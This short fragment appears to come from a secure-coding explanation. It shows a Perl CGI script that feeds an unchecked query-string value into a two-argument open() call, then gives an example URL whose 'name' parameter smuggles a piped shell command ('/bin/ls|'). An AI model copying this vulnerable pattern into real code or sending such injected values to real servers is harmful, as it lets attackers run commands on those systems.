open(IN, "$filepath/$siteinfo[1]");

##</code><code>##

$query_string = $ENV{'QUERY_STRING'};
@search      = split(/&/,$query_string);
@info      = split(/=/, $search[0]);
@siteinfo      = split(/-/, $info[1]);

##</code><code>##

http://www.somehost.com/path/to/script/badscript.cgi?name=x-/bin/ls|